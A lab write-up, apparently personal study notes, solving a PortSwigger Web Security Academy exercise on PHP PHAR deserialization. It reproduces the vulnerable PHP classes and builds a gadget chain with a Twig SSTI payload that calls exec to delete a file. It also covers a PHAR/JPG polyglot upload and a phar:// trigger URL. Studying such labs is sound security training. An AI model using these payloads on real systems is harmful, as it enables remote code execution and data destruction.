The PHP documentation reveals that PHAR
manifest files contain serialized metadata. Crucially, if you perform any filesystem operations on a phar://
stream, this metadata is implicitly deserialized. This means that a phar://
stream can potentially be a vector for exploiting insecure deserialization, provided that you can pass this stream into a filesystem method.
One approach is to use an image upload functionality, for example. If you are able to create a polyglot file, with a PHAR
masquerading as a simple JPG
, you can sometimes bypass the website’s validation checks. If you can then force the website to load this polyglot “JPG
” from a phar://
stream, any harmful data you inject via the PHAR
metadata will be deserialized. As the file extension is not checked when PHP reads a stream, it does not matter that the file uses an image extension.
As long as the class of the object is supported by the website, both the __wakeup()
and __destruct()
magic methods can be invoked in this way, allowing you to potentially kick off a gadget chain using this technique.
Lab: Using PHAR Deserialization to Deploy a Custom Gadget Chain
Info
Follow the solution: Lab: Using PHAR deserialization to deploy a custom gadget chain | Web Security Academy (portswigger.net) to solve this lab.
Avatar image is loaded from /cgi-bin/avatar.php?avatar=wiener
endpoint. Navigate to /cgi-bin
, there are some source code files.
SSTI Sink
The first one is Blog.php
:
<?php
require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');
class Blog {
public $user;
public $desc;
private $twig;
public function __construct($user, $desc) {
$this->user = $user;
$this->desc = $desc;
}
public function __toString() {
return $this->twig->render('index', ['user' => $this->user]);
}
public function __wakeup() {
$loader = new Twig_Loader_Array([
'index' => $this->desc,
]);
$this->twig = new Twig_Environment($loader);
}
public function __sleep() {
return ["user", "desc"];
}
}
?>
As we can see, there is a magic method named __wakeup()
that would be invoked during deserialization process. In this method, there is a declaration of a Twig_Loader_Array
loader:
$loader = new Twig_Loader_Array([
'index' => $this->desc,
]);
Generally, loaders are responsible for loading templates from a resource such as the file system. In this context, it is used for defining a template named index
.
An example usage of Twig_Loader_Array
loader:
$loader = new \Twig\Loader\ArrayLoader([
'index.html' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index.html', ['name' => 'Fabien']);
This loader is then passed into a Twig_Environment
object, which is the central object of Twig Template Engine:
$this->twig = new Twig_Environment($loader);
Finally, the template and data will be combined and rendered via render()
method in another magic method named __toString()
:
public function __toString() {
return $this->twig->render('index', ['user' => $this->user]);
}
The value of index
template is vulnerable to Server Side Template Injection (SSTI) vulnerability. We will inject the following payload (refer to PayloadsAllTheThings/Server Side Template Injection/README.md at master · swisskyrepo/PayloadsAllTheThings (github.com):
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
Kick-off Gadget
The second one is CustomTemplate.php
:
<?php
class CustomTemplate {
private $template_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
}
private function isTemplateLocked() {
return file_exists($this->lockFilePath());
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lockFilePath(), "") === false) {
throw new Exception("Could not write to " . $this->lockFilePath());
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
@unlink($this->lockFilePath());
}
private function lockFilePath()
{
return 'templates/' . $this->template_file_path . '.lock';
}
}
?>
There is a magic method named __destruct()
, which will invoke another method named lockFilePath()
. The lockFilePath()
method will access the template_file_path
property of the current instance of CustomTemplate
. If we assign this property with an instance of Blog
class, it will trigger __toString()
method when lockFilePath()
tries to get the template_file_path
property.
Build the Malicious Serialized Object
Next, we build a malicious serialized object like this:
class CustomTemplate {}
class Blog {}
$ssti_payload = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$blog = new Blog;
$blog->desc = $ssti_payload;
$blog->user = 'user';
$object = new CustomTemplate;
$object->template_file_path = $blog;
Make a PHAR + JPG Polyglot
Use kunte0/phar-jpg-polyglot tool to generate a JPG image with an embeded PHAR file that contains the malicious serialized object:
php -c php.ini phar_jpg_polyglot.php
string(215) "O:14:"CustomTemplate":1:{s:18:"template_file_path";O:4:"Blog":2:{s:4:"user";s:4:"user";s:4:"desc";s:106:"{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}";}}"
Upload the output image.
Trigger PHAR Deserialization
Access to /cgi-bin/avatar.php?avatar=phar://wiener
endpoint (notice the phar://
prefix) to trigger the PHAR deserialization and execute the payload.
Related
list
from outgoing([[Port Swigger - PHAR Deserialization]])
sort file.ctime asc